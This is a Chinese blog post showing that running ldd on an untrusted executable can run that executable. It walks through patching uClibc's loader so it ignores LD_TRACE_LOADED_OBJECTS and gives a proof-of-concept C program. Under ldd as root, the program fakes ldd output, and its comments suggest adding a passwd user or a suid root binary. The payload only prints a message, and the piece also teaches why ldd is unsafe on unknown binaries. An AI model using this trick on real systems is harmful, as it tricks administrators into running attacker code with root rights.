# Linux ldd -- 查看可执行文件所依赖的动态链接库

2019/05/10 16:37

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 (1) $ldd /bin/grep linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/libc.so.6 (0xb7eca000) /lib/ld-linux.so.2 (0xb801e000) (2)$ LD_TRACE_LOADED_OBJECTS=1 /bin/grep         linux-gate.so.1 =>  (0xffffe000)         libc.so.6 => /lib/libc.so.6 (0xb7e30000)         /lib/ld-linux.so.2 (0xb7f84000)   (3) $LD_TRACE_LOADED_OBJECTS=1 /lib/ld-linux.so.2 /bin/grep linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/libc.so.6 (0xb7f7c000) /lib/ld-linux.so.2 (0xb80d0000) 第(1)个命令，我们运行了ldd 于 /bin/grep。我们可以看到命令的输出是我们想要的，那就是 /bin/grep 所依赖的动态链接库。 第(2)个命令设置了一个叫LD_TRACE_LOADED_OBJECTS 的环境变量，然后就好像在运行命令 /bin/grep (但其实并不是)。 其运行结果和ldd的输出是一样的！ 第(3)个命令也是设置了环境变量LD_TRACE_LOADED_OBJECTS ，然后调用了动态链接库 ld-linux.so 并把/bin/grep 作为参数传给它。我们发现，其输出结果还是和前面两个一样的。 具体发生了什么？ 对于第二个和第三个命令来说，好像是对ldd 的一个包装或是一个隐式调用。对于第二个和第三个命令来说， /bin/grep 这个命令就根本没有被运行。这是一个GNU动态载入器的怪异的特性。如果其注意到环境变量LD_TRACE_LOADED_OBJECTS 被设置了，那么它就不会去执行那个可运行的程序，而去输出这个可执行程序所依赖的动态链接库 （在BSD 系统上的ldd 是一个C 程序)。 如果你使用的是Linux，那么，你可以去看看ldd 程序，你会发现这是一个 bash 的脚本。如果你仔细查看这个脚本的源码，你会发现，第二个命令和第三个命令的差别就在于 ld-linux.so 装载器是否可以被ldd所装载，如果不能，那就是第二个命令，如果而的话，那就是第三个命令。 所以，如果我们可以让ld-linux.so装载器失效的话，或是让别的装载器来取代这个系统默认的动态链接库的话，那么我们就可以让 ldd来载入并运行我们想要程序了——使用不同的载装器并且不处理LD_TRACE_LOADED_OBJECTS环境变量，而是直接运行程序。 例如，你可以创建一个具有恶意的程序，如：~/app/bin/exec 并且使用他自己的装载器 ~/app/lib/loader.so。如果某人（比如超级用户root） 运行了 ldd/home/you/app/bin/exec ，于是，他就玩完了。因为，那并不会列出所依赖的动态链接库，而是，直接执行你的那个恶意程序，这相当于，那个用户给了你他的授权。 编译一个新的装载器 下载 uClibc C库。这是一个相当漂亮的代码，并且可以非常容易地修改一下源代码，使其忽略LD_TRACE_LOADED_OBJECTS 检查。  1 2 3$ mkdir app $cd app 解压这个包，并执行 makemenuconfig，选项你的平台架构（比如：i386），剩下的事情保持不变。  1 2 3 4$ bunzip2 < uClibc-0.9.30.1.tar.bz2 | tar -vx $rm -rf uClibc-0.9.30.1.tar.bz2$ cd uClibc-0.9.30.1 $make menuconfig 编辑 .config并设置目标安装目录：到 /home/you/app/uclibc， 把下面两行  1 2 RUNTIME_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/" DEVEL_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/usr/" 改成  1 2 RUNTIME_PREFIX="/home/you/app/uclibc/" DEVEL_PREFIX="/home/you/app/uclibc/usr/" 现在你需要改动一下其源代码，让其忽略LD_TRACE_LOADED_OBJECTS环境变量的检查。 下面是个这修改的diff，你需要修改的是 ldso/ldso/ldso.c 文件。你可把下面的这个diff存成一个叫file的文件，然后运行这个命令：patch-p0 < file。如果你不这样做的话，那么，我们的黑客程序就无法工作，而我们的这个装载器还是会认为 ldd 想列出动态链接库的文件列表。  1 2 3 4 5 6 7 8 9 10 11 --- ldso/ldso/ldso-orig.c 2009-10-25 00:27:12.000000000 +0300 +++ ldso/ldso/ldso.c 2009-10-25 00:27:22.000000000 +0300 @@ -404,9 +404,11 @@ } #endif + /* if (_dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL) { trace_loaded_objects++; } + */ #ifndef __LDSO_LDD_SUPPORT__ if (trace_loaded_objects) { 下面让我们来编译并安装它。  1 2$ make -j 4 $make install 于是，我们的 uClibc 装载器就被安装了，并且libc 库指向了/home/you/app/uclibc. 就这么简单，现在，我们需要做的就是把我们的uClibc的装载器 (app/lib/ld-uClibc.so.0)变成默认的。 小试 牛刀 首先，先让我们来创建一个测试程序，这人程序也就是输出些自己的东西，这样可以让我们看到我们的程序被执行了。我们把这个程序放在app/bin/下，叫“myapp.c”，下面是源代码  1 2 3 4 5 6 7 8 9 10 11 12 #include #include int main() { if (getenv("LD_TRACE_LOADED_OBJECTS")) { printf("All your things are belong to me.\n"); } else { printf("Nothing.\n"); } return 0; } 这是一个很简单的代码了，这段代码主要检查一下环境变量LD_TRACE_LOADED_OBJECTS是否被设置了，如果是，那么恶意程序执行，如果没有，那么程序什么也不发生。 下面是编译程序的命令，，大家可以看到，我们静态链接了一些函数库。我们并不想让LD_LIBRARY_PATH这个变量来发挥作用。  1 2 3 4 5 6 7 8$ L=/home/you/app/uclibc $gcc -Wl,--dynamic-linker,$L/lib/ld-uClibc.so.0 \     -Wl,-rpath-link,$L/lib \ -nostdlib \ myapp.c -o myapp \$L/usr/lib/crt*.o \     -L$L/usr/lib/ \ -lc 下面是GCC的各个参数的解释： • -Wl,–dynamic-linker,$L/lib/ld-uClibc.so.0 — 指定一个新的装载器。
• -Wl,-rpath-link,$L/lib — 指定一个首要的动态装载器所在的目录，这个目录用于查找动态库。 • -nostdlib — 不使用系统标准库。 • myapp.c -o myapp — 编译myapp.c 成可执行文件 myapp, •$L/usr/lib/crt*.o — 静态链接runtime 代码
• -L$L/usr/lib/ — libc 的目录（静态链接） • -lc — C 库 现在让我们来运行一下我们的 myapp（没有ldd，一切正常）  1 2 app/bin$ ./myapp Nothing.

LD_TRACE_LOADED_OBJECTS 没有设置，所以输出“Nothing” 。

 1 2 3 4 \$ su Password: # ldd ./myapp All your things are belong to me.

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 #include #include #include #include   /* This example pretends to have a fictitious library 'libat.so.0' missing. When someone with root permissions runs ldd this_program, it does something nasty in malicious() function.   I haven't implemented anything malicious but have written down some ideas of what could be done.   This is, of course, a joke program. To make it look more real, you'd have to bump its size, add some more dependencies, simulate trying to open the missing library, detect if ran under debugger or strace and do absolutely nothing suspicious, etc. */   void pretend_as_ldd() {     printf("\tlinux-gate.so.1 =>  (0xffffe000)\n");     printf("\tlibat.so.0 => not found\n");     printf("\tlibc.so.6 => /lib/libc.so.6 (0xb7ec3000)\n");     printf("\t/lib/ld-linux.so.2 (0xb8017000)\n"); }   void malicious() {     if (geteuid() == 0) {         /* we are root ... */         printf("poof, all your box are belong to us\n");           /* silently add a new user to /etc/passwd, */         /* or create a suid=0 program that you can later execute, */         /* or do something really nasty */     } }   int main(int argc, char **argv) {     if (getenv("LD_TRACE_LOADED_OBJECTS")) {         malicious();         pretend_as_ldd();         return 0;     }       printf("%s: error while loading shared libraries: libat.so.0: "            "cannot open shared object file: No such file or directory\n",            argv[0]);     return 127; }

mv~/.hidden/working_app ~/app/bin/myapp

mv~/.hidden/libat.so.o ~/app/bin/

0
0 收藏

0 评论
0 收藏
0